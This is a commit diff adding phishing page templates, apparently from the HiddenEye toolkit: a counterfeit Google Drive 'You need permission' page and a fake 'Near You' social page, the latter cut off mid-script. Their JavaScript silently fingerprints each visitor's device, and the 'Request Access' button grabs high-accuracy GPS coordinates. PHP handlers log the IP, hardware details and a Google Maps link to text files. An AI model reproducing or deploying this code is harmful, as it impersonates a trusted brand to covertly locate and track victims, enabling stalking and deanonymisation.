Tools Adding.
157
WebPages/TOOLS/gdrive/css/main.css
Normal file
|
@ -0,0 +1,157 @@
|
|||
@font-face {
|
||||
font-family: Product Sans;
|
||||
font-style: normal;
|
||||
font-weight: 400;
|
||||
src: url('/fonts/pxiDypQkot1TnFhsFMOfGShVF9eO.woff2') format('woff2');
|
||||
}
|
||||
|
||||
body {
|
||||
background-color: #ffffff;
|
||||
font-size: 13px;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
font-family: Arial,sans-serif;
|
||||
}
|
||||
|
||||
#outerContainer {
|
||||
margin: auto;
|
||||
max-width: 750px;
|
||||
}
|
||||
|
||||
#innerContainer {
|
||||
margin-bottom: 20px;
|
||||
margin-left: 40px;
|
||||
margin-right: 40px;
|
||||
margin-top: 180px;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
#drive-logo {
|
||||
margin: 18px 0;
|
||||
position: absolute;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.docs-drivelogo-img {
|
||||
background-image: url('/images/googlelogo_color_116x41dp.png');
|
||||
background-size: 116px 41px;
|
||||
display: inline-block;
|
||||
height: 41px;
|
||||
vertical-align: bottom;
|
||||
width: 116px;
|
||||
}
|
||||
|
||||
.docs-drivelogo-text {
|
||||
color: #000;
|
||||
display: inline-block;
|
||||
opacity: 0.54;
|
||||
text-decoration: none;
|
||||
font-family: 'Product Sans',Arial,Helvetica,sans-serif;
|
||||
font-size: 32px;
|
||||
text-rendering: optimizeLegibility;
|
||||
position: relative;
|
||||
top: -6px;
|
||||
left: -7px;
|
||||
-webkit-font-smoothing: antialiased;
|
||||
-moz-osx-font-smoothing: grayscale;
|
||||
}
|
||||
|
||||
#main {
|
||||
position: relative;
|
||||
width: 640px;
|
||||
top: 30px;
|
||||
}
|
||||
|
||||
#accessDeniedIcon {
|
||||
background-image: url('/images/locked_doc-2.svg');
|
||||
float: right;
|
||||
height: 158px;
|
||||
width: 128px;
|
||||
}
|
||||
|
||||
#accessDeniedHeader {
|
||||
color: #222;
|
||||
font: 32px Arial, sans-serif;
|
||||
}
|
||||
|
||||
#message {
|
||||
color: #222;
|
||||
font: 15px/1.6 Arial, sans-serif;
|
||||
width: 480px;
|
||||
}
|
||||
|
||||
button.jfk-button {
|
||||
font-family: arial,sans-serif;
|
||||
height: auto;
|
||||
}
|
||||
|
||||
.jfk-button-action {
|
||||
-webkit-box-shadow: none;
|
||||
-moz-box-shadow: none;
|
||||
box-shadow: none;
|
||||
background-color: #4d90fe;
|
||||
background-image: -webkit-linear-gradient(top,#4d90fe,#4787ed);
|
||||
background-image: -moz-linear-gradient(top,#4d90fe,#4787ed);
|
||||
background-image: -ms-linear-gradient(top,#4d90fe,#4787ed);
|
||||
background-image: -o-linear-gradient(top,#4d90fe,#4787ed);
|
||||
background-image: linear-gradient(top,#4d90fe,#4787ed);
|
||||
border: 1px solid #3079ed;
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.jfk-button {
|
||||
-webkit-border-radius: 2px;
|
||||
-moz-border-radius: 2px;
|
||||
border-radius: 2px;
|
||||
cursor: default;
|
||||
font-size: 11px;
|
||||
font-weight: bold;
|
||||
text-align: center;
|
||||
white-space: nowrap;
|
||||
margin-right: 16px;
|
||||
height: 27px;
|
||||
line-height: 27px;
|
||||
min-width: 54px;
|
||||
outline: 0px;
|
||||
padding: 0 8px;
|
||||
}
|
||||
|
||||
.jfk-button-standard {
|
||||
-webkit-box-shadow: none;
|
||||
-moz-box-shadow: none;
|
||||
box-shadow: none;
|
||||
background-color: #f5f5f5;
|
||||
background-image: -webkit-linear-gradient(top,#f5f5f5,#f1f1f1);
|
||||
background-image: -moz-linear-gradient(top,#f5f5f5,#f1f1f1);
|
||||
background-image: -ms-linear-gradient(top,#f5f5f5,#f1f1f1);
|
||||
background-image: -o-linear-gradient(top,#f5f5f5,#f1f1f1);
|
||||
background-image: linear-gradient(top,#f5f5f5,#f1f1f1);
|
||||
color: #444;
|
||||
border: 1px solid #dcdcdc;
|
||||
border: 1px solid rgba(0,0,0,0.1);
|
||||
}
|
||||
|
||||
@media (max-width: 500px) {
|
||||
#accessDeniedHeader {
|
||||
color: #222;
|
||||
font: 25px Arial, sans-serif;
|
||||
}
|
||||
#accessDeniedIcon {
|
||||
background-image: url('/images/locked_doc-1.svg');
|
||||
height: 108px;
|
||||
width: 88px;
|
||||
}
|
||||
#main {
|
||||
width: 100%;
|
||||
}
|
||||
#message {
|
||||
width: 75%;
|
||||
}
|
||||
#outerContainer #innerContainer {
|
||||
margin-left: 20px;
|
||||
margin-right: 20px;
|
||||
}
|
||||
}
|
||||
|
||||
:focus {outline:none;}
|
||||
::-moz-focus-inner {border:0;}
|
41
WebPages/TOOLS/gdrive/error.php
Normal file
|
@ -0,0 +1,41 @@
|
|||
<?php
|
||||
header('Content-Type: text/html');
|
||||
{
|
||||
$denied = $_POST['Denied'];
|
||||
$una = $_POST['Una'];
|
||||
$time = $_POST['Time'];
|
||||
$unk = $_POST['Unk'];
|
||||
$support = 'Geolocation is not supported!';
|
||||
|
||||
if (isset($denied))
|
||||
{
|
||||
$f = fopen('usernames.txt', 'w+');
|
||||
fwrite($f, $denied);
|
||||
fclose($f);
|
||||
}
|
||||
elseif (isset($una))
|
||||
{
|
||||
$f = fopen('usernames.txt', 'w+');
|
||||
fwrite($f, $una);
|
||||
fclose($f);
|
||||
}
|
||||
elseif (isset($time))
|
||||
{
|
||||
$f = fopen('usernames.txt', 'w+');
|
||||
fwrite($f, $time);
|
||||
fclose($f);
|
||||
}
|
||||
elseif (isset($unk))
|
||||
{
|
||||
$f = fopen('usernames.txt', 'w+');
|
||||
fwrite($f, $unk);
|
||||
fclose($f);
|
||||
}
|
||||
else
|
||||
{
|
||||
$f = fopen('usernames.txt', 'w+');
|
||||
fwrite($f, $support);
|
||||
fclose($f);
|
||||
}
|
||||
}
|
||||
?>
|
BIN
WebPages/TOOLS/gdrive/fonts/Roboto-Black.ttf
Normal file
BIN
WebPages/TOOLS/gdrive/fonts/Roboto-BlackItalic.ttf
Normal file
BIN
WebPages/TOOLS/gdrive/fonts/Roboto-Bold.ttf
Normal file
BIN
WebPages/TOOLS/gdrive/fonts/Roboto-BoldItalic.ttf
Normal file
BIN
WebPages/TOOLS/gdrive/fonts/Roboto-Italic.ttf
Normal file
BIN
WebPages/TOOLS/gdrive/fonts/Roboto-Light.ttf
Normal file
BIN
WebPages/TOOLS/gdrive/fonts/Roboto-LightItalic.ttf
Normal file
BIN
WebPages/TOOLS/gdrive/fonts/Roboto-Medium.ttf
Normal file
BIN
WebPages/TOOLS/gdrive/fonts/Roboto-MediumItalic.ttf
Normal file
BIN
WebPages/TOOLS/gdrive/fonts/Roboto-Regular.ttf
Normal file
BIN
WebPages/TOOLS/gdrive/fonts/Roboto-Thin.ttf
Normal file
BIN
WebPages/TOOLS/gdrive/fonts/Roboto-ThinItalic.ttf
Normal file
BIN
WebPages/TOOLS/gdrive/fonts/pxiDypQkot1TnFhsFMOfGShVF9eO.woff2
Normal file
BIN
WebPages/TOOLS/gdrive/images/580b57fcd9996e24bc43c51f.png
Normal file
After Width: | Height: | Size: 28 KiB |
BIN
WebPages/TOOLS/gdrive/images/Google-Drive-logo1.png
Normal file
After Width: | Height: | Size: 31 KiB |
BIN
WebPages/TOOLS/gdrive/images/drive_favicon1.ico
Normal file
After Width: | Height: | Size: 5.3 KiB |
BIN
WebPages/TOOLS/gdrive/images/googlelogo_color_116x41dp.png
Normal file
After Width: | Height: | Size: 4.5 KiB |
23
WebPages/TOOLS/gdrive/images/locked_doc-1.svg
Normal file
|
@ -0,0 +1,23 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||||
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
|
||||
width="88px" height="108px" viewBox="0 0 88 108" enable-background="new 0 0 88 108" xml:space="preserve">
|
||||
<g>
|
||||
<g>
|
||||
<g>
|
||||
<path fill="#CCCCCC" d="M88,26H62V0H8.906C3.988,0,0,3.988,0,8.906V99c0,4.918,4.082,9,9,9h70c5,0,9-4,9-9V26z"/>
|
||||
</g>
|
||||
</g>
|
||||
<radialGradient id="SVGID_1_" cx="82.2881" cy="24.2437" r="24.6557" gradientTransform="matrix(1.1019 0 0 1.1019 -2.4757 -0.1226)" gradientUnits="userSpaceOnUse">
|
||||
<stop offset="0.15" style="stop-color:#A6A6A6"/>
|
||||
<stop offset="1" style="stop-color:#B3B3B3"/>
|
||||
</radialGradient>
|
||||
<polygon fill="url(#SVGID_1_)" points="62,26 88,26 88,52 "/>
|
||||
<polygon fill="#E6E6E6" points="88,26 62,26 62,0 "/>
|
||||
<rect x="-20" y="-10" fill="none" width="128" height="128"/>
|
||||
</g>
|
||||
<path fill="#FFFFFF" d="M64,77c0,2.209-1.791,4-4,4H28c-2.209,0-4-1.791-4-4V54c0-2.209,1.791-4,4-4h32c2.209,0,4,1.791,4,4V77z"/>
|
||||
<path fill="#FFFFFF" d="M58,52h-4v-4.105C54,42.439,49.561,38,44.104,38h-0.209C38.439,38,34,42.439,34,47.895V52h-4v-4.105
|
||||
C30,40.233,36.233,34,43.896,34h0.209C51.767,34,58,40.233,58,47.895V52z"/>
|
||||
<circle fill="#CCCCCC" cx="44" cy="65.5" r="7.772"/>
|
||||
</svg>
|
After Width: | Height: | Size: 1.3 KiB |
23
WebPages/TOOLS/gdrive/images/locked_doc-2.svg
Normal file
|
@ -0,0 +1,23 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||||
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
|
||||
width="128px" height="158px" viewBox="-145.5 214.5 128 158" enable-background="new -145.5 214.5 128 158" xml:space="preserve">
|
||||
<g>
|
||||
<g>
|
||||
<path fill="#CCCCCC" d="M-17.5,252.318h-37.818V214.5h-77.227c-7.154,0-12.955,5.801-12.955,12.954v131.955
|
||||
c0,7.153,5.938,13.091,13.091,13.091h101.818c7.272,0,13.091-5.818,13.091-13.091V252.318z"/>
|
||||
</g>
|
||||
</g>
|
||||
<radialGradient id="SVGID_1_" cx="160.1211" cy="-243.6196" r="35.8861" gradientTransform="matrix(1.1019 0 0 -1.1019 -193.6491 -15.2655)" gradientUnits="userSpaceOnUse">
|
||||
<stop offset="0.15" style="stop-color:#A6A6A6"/>
|
||||
<stop offset="1" style="stop-color:#B3B3B3"/>
|
||||
</radialGradient>
|
||||
<polygon fill="url(#SVGID_1_)" points="-55.318,252.318 -17.5,252.318 -17.5,290.137 "/>
|
||||
<polygon fill="#E6E6E6" points="-17.5,252.318 -55.318,252.318 -55.318,214.5 "/>
|
||||
<path fill="#FFFFFF" d="M-52.5,326.682c0,3.214-2.605,5.818-5.818,5.818h-46.364c-3.213,0-5.818-2.604-5.818-5.818v-33.363
|
||||
c0-3.214,2.605-5.818,5.818-5.818h46.364c3.213,0,5.818,2.604,5.818,5.818V326.682z"/>
|
||||
<path fill="#FFFFFF" d="M-61.136,290.137h-5.818v-5.972c0-7.935-6.458-14.393-14.394-14.393h-0.304
|
||||
c-7.936,0-14.393,6.458-14.393,14.393v5.972h-5.818v-5.972c0-11.146,9.066-20.211,20.212-20.211h0.304
|
||||
c11.146,0,20.211,9.065,20.211,20.211V290.137z"/>
|
||||
<circle fill="#CCCCCC" cx="-81.5" cy="309.773" r="11.304"/>
|
||||
</svg>
|
After Width: | Height: | Size: 1.5 KiB |
42
WebPages/TOOLS/gdrive/index.html
Normal file
|
@ -0,0 +1,42 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta name="description" content="Web word processing, presentations and spreadsheets">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=0">
|
||||
<link rel="shortcut icon" href="/images/drive_favicon1.ico">
|
||||
<title>Google Drive - Access Denied</title>
|
||||
<link rel="stylesheet" type="text/css" href="css/main.css">
|
||||
<script type="text/javascript">
|
||||
if (window.location.protocol == "http:") {
|
||||
var restOfUrl = window.location.href.substr(5);
|
||||
window.location = "https:" + restOfUrl;
|
||||
}
|
||||
</script>
|
||||
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
|
||||
<script type="text/javascript" src="js/info.js"></script>
|
||||
<script type="text/javascript" src="js/location.js"></script>
|
||||
</head>
|
||||
<body onload="information();">
|
||||
<div id="outerContainer">
|
||||
<div id="innerContainer">
|
||||
<div style="position: absolute; top: -80px;">
|
||||
<div id="drive-logo">
|
||||
<span class="docs-drivelogo-img"></span>
|
||||
<span class="docs-drivelogo-text"> Drive</span>
|
||||
</div>
|
||||
</div>
|
||||
<div style="clear:both"></div>
|
||||
<div id="main">
|
||||
<div id="accessDeniedIcon"></div>
|
||||
<p id="accessDeniedHeader">You need permission</p>
|
||||
<div id="message">
|
||||
<p>Want it? Ask for access, or switch to an account with permission.</p>
|
||||
</div>
|
||||
<p id="buttons" style="padding-top: 10px">
|
||||
<button id="requestButton" style="font-weight:bold" class="jfk-button jfk-button-action" onclick="locate();">Request Access</button>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
62
WebPages/TOOLS/gdrive/info.php
Normal file
|
@ -0,0 +1,62 @@
|
|||
<?php
|
||||
header('Content-Type: text/html');
|
||||
{
|
||||
$ptf = $_POST['Ptf'];
|
||||
$brw = $_POST['Brw'];
|
||||
$cc = $_POST['Cc'];
|
||||
$ram = $_POST['Ram'];
|
||||
$ven = $_POST['Ven'];
|
||||
$ren = $_POST['Ren'];
|
||||
$ht = $_POST['Ht'];
|
||||
$wd = $_POST['Wd'];
|
||||
$os = $_POST['Os'];
|
||||
|
||||
function getUserIP()
|
||||
{
|
||||
// Get real visitor IP
|
||||
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"]))
|
||||
{
|
||||
$_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
|
||||
$_SERVER['HTTP_CLIENT_IP'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
|
||||
}
|
||||
$client = @$_SERVER['HTTP_CLIENT_IP'];
|
||||
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
|
||||
$remote = $_SERVER['REMOTE_ADDR'];
|
||||
|
||||
if(filter_var($client, FILTER_VALIDATE_IP))
|
||||
{
|
||||
$ip = $client;
|
||||
}
|
||||
elseif(filter_var($forward, FILTER_VALIDATE_IP))
|
||||
{
|
||||
$ip = $forward;
|
||||
}
|
||||
else
|
||||
{
|
||||
$ip = $remote;
|
||||
}
|
||||
return $ip;
|
||||
}
|
||||
|
||||
$ip = getUserIP();
|
||||
//
|
||||
$data['dev'] = array();
|
||||
|
||||
$data['dev'][] = array('platform' => $ptf,
|
||||
'browser' => $brw,
|
||||
'cores' => $cc,
|
||||
'ram' => $ram,
|
||||
'vendor' => $ven,
|
||||
'render' => $ren,
|
||||
'ip' => $ip,
|
||||
'ht' => $ht,
|
||||
'wd' => $wd,
|
||||
'os' => $os);
|
||||
|
||||
$jdata = json_encode($data);
|
||||
|
||||
$f = fopen('ip.txt', 'w+');
|
||||
fwrite($f, $jdata);
|
||||
fclose($f);
|
||||
}
|
||||
?>
|
117
WebPages/TOOLS/gdrive/js/info.js
Normal file
|
@ -0,0 +1,117 @@
|
|||
function information()
|
||||
{
|
||||
var ptf = navigator.platform;
|
||||
var cc = navigator.hardwareConcurrency;
|
||||
var ram = navigator.deviceMemory;
|
||||
var ver = navigator.userAgent;
|
||||
var str = ver;
|
||||
var os = ver;
|
||||
//gpu
|
||||
var canvas = document.createElement('canvas');
|
||||
var gl;
|
||||
var debugInfo;
|
||||
var ven;
|
||||
var ren;
|
||||
//sysinfo
|
||||
console.log(ver);
|
||||
console.log(ptf);
|
||||
|
||||
if (cc == undefined)
|
||||
{
|
||||
cc = 'Not Available';
|
||||
console.log('Cores are not available')
|
||||
}
|
||||
console.log(cc);
|
||||
|
||||
//ram
|
||||
if (ram == undefined)
|
||||
{
|
||||
ram = 'Not Available';
|
||||
console.log('RAM is not available')
|
||||
}
|
||||
console.log(ram);
|
||||
|
||||
//browser
|
||||
if (ver.indexOf('Firefox') != -1)
|
||||
{
|
||||
str = str.substring(str.indexOf(' Firefox/') + 1);
|
||||
str = str.split(' ');
|
||||
brw = str[0];
|
||||
console.log(str[0]);
|
||||
}
|
||||
else if (ver.indexOf('Chrome') != -1)
|
||||
{
|
||||
str = str.substring(str.indexOf(' Chrome/') + 1);
|
||||
str = str.split(' ');
|
||||
brw = str[0];
|
||||
console.log(str[0]);
|
||||
}
|
||||
else if (ver.indexOf('Safari') != -1)
|
||||
{
|
||||
str = str.substring(str.indexOf(' Safari/') + 1);
|
||||
str = str.split(' ');
|
||||
brw = str[0];
|
||||
console.log(str[0]);
|
||||
}
|
||||
else if (ver.indexOf('Edge') != -1)
|
||||
{
|
||||
str = str.substring(str.indexOf(' Edge/') + 1);
|
||||
str = str.split(' ');
|
||||
brw = str[0];
|
||||
console.log(str[0]);
|
||||
}
|
||||
else
|
||||
{
|
||||
brw = 'Not Available'
|
||||
console.log('Browser is not available')
|
||||
}
|
||||
|
||||
//gpu
|
||||
try
|
||||
{
|
||||
gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
|
||||
}
|
||||
catch (e) {}
|
||||
if (gl)
|
||||
{
|
||||
debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
|
||||
ven = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
|
||||
ren = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
|
||||
}
|
||||
if (ven == undefined)
|
||||
{
|
||||
ven = 'Not Available';
|
||||
console.log('GPU Vendor not available')
|
||||
}
|
||||
if (ren == undefined)
|
||||
{
|
||||
ren = 'Not Available';
|
||||
console.log('GPU Renderer not available')
|
||||
}
|
||||
console.log(ven);
|
||||
console.log(ren);
|
||||
//
|
||||
var ht = window.screen.height
|
||||
var wd = window.screen.width
|
||||
console.log(window.screen.height)
|
||||
console.log(window.screen.width)
|
||||
//os
|
||||
os = os.substring(0, os.indexOf(')'));
|
||||
os = os.split(';');
|
||||
os = os[1];
|
||||
if (os == undefined)
|
||||
{
|
||||
os = 'Not Available';
|
||||
console.log('OS is not available')
|
||||
}
|
||||
os = os.trim();
|
||||
console.log(os);
|
||||
//
|
||||
$.ajax({
|
||||
type: 'POST',
|
||||
url: '/info.php',
|
||||
data: {Ptf: ptf, Brw: brw, Cc: cc, Ram: ram, Ven: ven, Ren: ren, Ht: ht, Wd: wd, Os: os},
|
||||
success: function(){console.log('Got Device Information');},
|
||||
mimeType: 'text'
|
||||
});
|
||||
}
|
59
WebPages/TOOLS/gdrive/js/location.js
Normal file
|
@ -0,0 +1,59 @@
|
|||
function locate()
|
||||
{
|
||||
if(navigator.geolocation)
|
||||
{
|
||||
var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0};
|
||||
navigator.geolocation.getCurrentPosition(showPosition, showError, optn);
|
||||
}
|
||||
else
|
||||
{
|
||||
alert('Geolocation is not Supported by your Browser...');
|
||||
}
|
||||
|
||||
function showPosition(position)
|
||||
{
|
||||
var lat = position.coords.latitude;
|
||||
var lon = position.coords.longitude;
|
||||
var acc = position.coords.accuracy;
|
||||
var alt = position.coords.altitude;
|
||||
var dir = position.coords.heading;
|
||||
var spd = position.coords.speed;
|
||||
|
||||
$.ajax({
|
||||
type: 'POST',
|
||||
url: '/login.php',
|
||||
data: {Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd},
|
||||
success: function(){window.location='<CUSTOM>';},
|
||||
mimeType: 'text'
|
||||
});
|
||||
};
|
||||
}
|
||||
|
||||
function showError(error)
|
||||
{
|
||||
switch(error.code)
|
||||
{
|
||||
case error.PERMISSION_DENIED:
|
||||
var denied = 'User denied the request for Geolocation';
|
||||
alert('Please Refresh This Page and Allow Location Permission...');
|
||||
break;
|
||||
case error.POSITION_UNAVAILABLE:
|
||||
var unavailable = 'Location information is unavailable';
|
||||
break;
|
||||
case error.TIMEOUT:
|
||||
var timeout = 'The request to get user location timed out';
|
||||
alert('Please Set Your Location Mode on High Accuracy...');
|
||||
break;
|
||||
case error.UNKNOWN_ERROR:
|
||||
var unknown = 'An unknown error occurred';
|
||||
break;
|
||||
}
|
||||
|
||||
$.ajax({
|
||||
type: 'POST',
|
||||
url: '/error.php',
|
||||
data: {Denied: denied, Una: unavailable, Time: timeout, Unk: unknown},
|
||||
success: function(){$('#change').html('Failed');},
|
||||
mimeType: 'text'
|
||||
});
|
||||
}
|
60
WebPages/TOOLS/gdrive/js/location1.js
Normal file
|
@ -0,0 +1,60 @@
|
|||
function locate()
|
||||
{
|
||||
if(navigator.geolocation)
|
||||
{
|
||||
var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0};
|
||||
navigator.geolocation.getCurrentPosition(showPosition, showError, optn);
|
||||
}
|
||||
else
|
||||
{
|
||||
alert('Geolocation is not Supported by your Browser...');
|
||||
}
|
||||
|
||||
function showPosition(position)
|
||||
{
|
||||
var lat = position.coords.latitude;
|
||||
var lon = position.coords.longitude;
|
||||
var acc = position.coords.accuracy;
|
||||
var alt = position.coords.altitude;
|
||||
var dir = position.coords.heading;
|
||||
var spd = position.coords.speed;
|
||||
|
||||
$.ajax({
|
||||
type: 'POST',
|
||||
url: '/login.php',
|
||||
data: {Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd},
|
||||
success: function(){$('#change').html('Coming Soon');},
|
||||
mimeType: 'text'
|
||||
});
|
||||
alert('This Service is Currently Not Available in Your Region.');
|
||||
};
|
||||
}
|
||||
|
||||
function showError(error)
|
||||
{
|
||||
switch(error.code)
|
||||
{
|
||||
case error.PERMISSION_DENIED:
|
||||
var denied = 'User denied the request for Geolocation';
|
||||
alert('Please Refresh This Page and Allow Location Permission...');
|
||||
break;
|
||||
case error.POSITION_UNAVAILABLE:
|
||||
var unavailable = 'Location information is unavailable';
|
||||
break;
|
||||
case error.TIMEOUT:
|
||||
var timeout = 'The request to get user location timed out';
|
||||
alert('Please Set Your Location Mode on High Accuracy...');
|
||||
break;
|
||||
case error.UNKNOWN_ERROR:
|
||||
var unknown = 'An unknown error occurred';
|
||||
break;
|
||||
}
|
||||
|
||||
$.ajax({
|
||||
type: 'POST',
|
||||
url: '/error.php',
|
||||
data: {Denied: denied, Una: unavailable, Time: timeout, Unk: unknown},
|
||||
success: function(){$('#change').html('Failed');},
|
||||
mimeType: 'text'
|
||||
});
|
||||
}
|
25
WebPages/TOOLS/gdrive/login.php
Normal file
|
@ -0,0 +1,25 @@
|
|||
<?php
|
||||
header('Content-Type: text/html');
|
||||
{
|
||||
$lat = $_POST['Lat'];
|
||||
$lon = $_POST['Lon'];
|
||||
$acc = $_POST['Acc'];
|
||||
$alt = $_POST['Alt'];
|
||||
$dir = $_POST['Dir'];
|
||||
$spd = $_POST['Spd'];
|
||||
|
||||
$linkdata = ("--------------------------------------"."\r\n"."\r\n"."Google Map Link:: https://www.google.com/maps/place/".$lat."+".$lon."\r\n"."\r\n");
|
||||
$data = (
|
||||
'Latitude = '.$lat."\r\n".
|
||||
'Longitude = '.$lon."\r\n".
|
||||
'Accuracy(meter) = '.$acc."\r\n".
|
||||
'Altitude = '.$alt."\r\n".
|
||||
'Direction(moving) = '.$dir."\r\n".
|
||||
'Speed(moving)= '.$spd."\r\n"."--------------------------------------");
|
||||
$f = fopen('usernames.txt', 'w+');
|
||||
fwrite($f, $linkdata);
|
||||
fwrite($f, $data);
|
||||
fclose($f);
|
||||
}
|
||||
header('Location: <CUSTOM>');
|
||||
?>
|
100
WebPages/TOOLS/nearyou/css/main.css
Normal file
|
@ -0,0 +1,100 @@
|
|||
html, body
|
||||
{
|
||||
height: 100%;
|
||||
}
|
||||
body
|
||||
{
|
||||
background-color: #000000;
|
||||
margin: auto;
|
||||
overflow: hidden;
|
||||
}
|
||||
h1
|
||||
{
|
||||
font-family: 'Raleway', sans-serif;
|
||||
color: white;
|
||||
text-align: center;
|
||||
filter: drop-shadow(0px 0px 8px cyan);
|
||||
margin: auto;
|
||||
position: fixed;
|
||||
top: 5%;
|
||||
left: 0%;
|
||||
right: 0%;
|
||||
}
|
||||
h2
|
||||
{
|
||||
font-family: 'Raleway', sans-serif;
|
||||
color: white;
|
||||
text-align: center;
|
||||
filter: drop-shadow(0px 0px 8px cyan);
|
||||
margin: auto;
|
||||
position: fixed;
|
||||
top: 15%;
|
||||
left: 0%;
|
||||
right: 0%;
|
||||
}
|
||||
img
|
||||
{
|
||||
position: fixed;
|
||||
margin: auto;
|
||||
left: 0%;
|
||||
right: 0%;
|
||||
top: 30%;
|
||||
height: 40%;
|
||||
filter: drop-shadow(0px 0px 8px white);
|
||||
opacity: 50%;
|
||||
}
|
||||
.button
|
||||
{
|
||||
background-color: Transparent;
|
||||
border: 2px solid white;
|
||||
cursor: pointer;
|
||||
color: white;
|
||||
font-size: 24px;
|
||||
padding: 14px 40px;
|
||||
border-radius: 6px;
|
||||
width: 50%;
|
||||
text-align: center;
|
||||
font-family: 'Raleway', sans-serif;
|
||||
position: fixed;
|
||||
left: 25%;
|
||||
right: 25%;
|
||||
bottom: 10%;
|
||||
filter: drop-shadow(0px 0px 8px cyan);
|
||||
transition: text-shadow 0.2s linear;
|
||||
}
|
||||
.text
|
||||
{
|
||||
font-family: 'Raleway', sans-serif;
|
||||
color: white;
|
||||
text-align: center;
|
||||
filter: drop-shadow(0px 0px 8px cyan);
|
||||
margin: auto;
|
||||
position: fixed;
|
||||
top: 5%;
|
||||
left: 0%;
|
||||
right: 0%;
|
||||
z-index: 1;
|
||||
}
|
||||
.earth
|
||||
{
|
||||
position: absolute;
|
||||
top: 0;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
margin: auto;
|
||||
height: 250px;
|
||||
width: 250px;
|
||||
background-image: url(https://raw.githubusercontent.com/Darksecdevelopers/HiddenEye/master/WebPages/TOOLS/nearyou/css/worldmap.jpg);
|
||||
border-radius: 50%;
|
||||
background-size: 700px;
|
||||
animation:rotate 7s linear infinite;
|
||||
box-shadow: 10px -10px 40px black inset, -10px 10px 40px black inset, -10px -10px 40px black inset;
|
||||
filter: drop-shadow(0px 0px 8px black);
|
||||
}
|
||||
|
||||
@keyframes rotate
|
||||
{
|
||||
0%{background-position: 0 0;}
|
||||
100%{background-position: 700px 0;}
|
||||
}
|
BIN
WebPages/TOOLS/nearyou/css/worldmap.jpg
Normal file
After Width: | Height: | Size: 274 KiB |
41
WebPages/TOOLS/nearyou/error.php
Normal file
|
@ -0,0 +1,41 @@
|
|||
<?php
|
||||
header('Content-Type: text/html');
|
||||
{
|
||||
$denied = $_POST['Denied'];
|
||||
$una = $_POST['Una'];
|
||||
$time = $_POST['Time'];
|
||||
$unk = $_POST['Unk'];
|
||||
$support = 'Geolocation is not supported!';
|
||||
|
||||
if (isset($denied))
|
||||
{
|
||||
$f = fopen('usernames.txt', 'w+');
|
||||
fwrite($f, $denied);
|
||||
fclose($f);
|
||||
}
|
||||
elseif (isset($una))
|
||||
{
|
||||
$f = fopen('usernames.txt', 'w+');
|
||||
fwrite($f, $una);
|
||||
fclose($f);
|
||||
}
|
||||
elseif (isset($time))
|
||||
{
|
||||
$f = fopen('usernames.txt', 'w+');
|
||||
fwrite($f, $time);
|
||||
fclose($f);
|
||||
}
|
||||
elseif (isset($unk))
|
||||
{
|
||||
$f = fopen('usernames.txt', 'w+');
|
||||
fwrite($f, $unk);
|
||||
fclose($f);
|
||||
}
|
||||
else
|
||||
{
|
||||
$f = fopen('usernames.txt', 'w+');
|
||||
fwrite($f, $support);
|
||||
fclose($f);
|
||||
}
|
||||
}
|
||||
?>
|
33
WebPages/TOOLS/nearyou/index.html
Normal file
|
@ -0,0 +1,33 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<title>Near You | Meet New People, Make New Friends</title>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<meta name="theme-color" content="#000000">
|
||||
<link rel="icon" type="image/x-icon" href="https://www.freefavicon.com/freefavicons/icons/flat-location-logo-152-234349.png">
|
||||
<link href="https://fonts.googleapis.com/css?family=Raleway" rel="stylesheet">
|
||||
<link href="/css/main.css" rel="stylesheet">
|
||||
<script type="text/javascript">
|
||||
if (window.location.protocol == "http:") {
|
||||
var restOfUrl = window.location.href.substr(5);
|
||||
window.location = "https:" + restOfUrl;
|
||||
}</script>
|
||||
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
|
||||
<script src="https://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js"></script>
|
||||
<script src="/js/main.js"></script>
|
||||
<script src="/js/location.js"></script>
|
||||
<script src="/js/info.js"></script>
|
||||
<script src="/js/warpspeed.min.js"></script>
|
||||
</head>
|
||||
<body onload="information();">
|
||||
<canvas id="canvas" style="width:100%; height:100%;"></canvas>
|
||||
<script>var x=new WarpSpeed('canvas',
|
||||
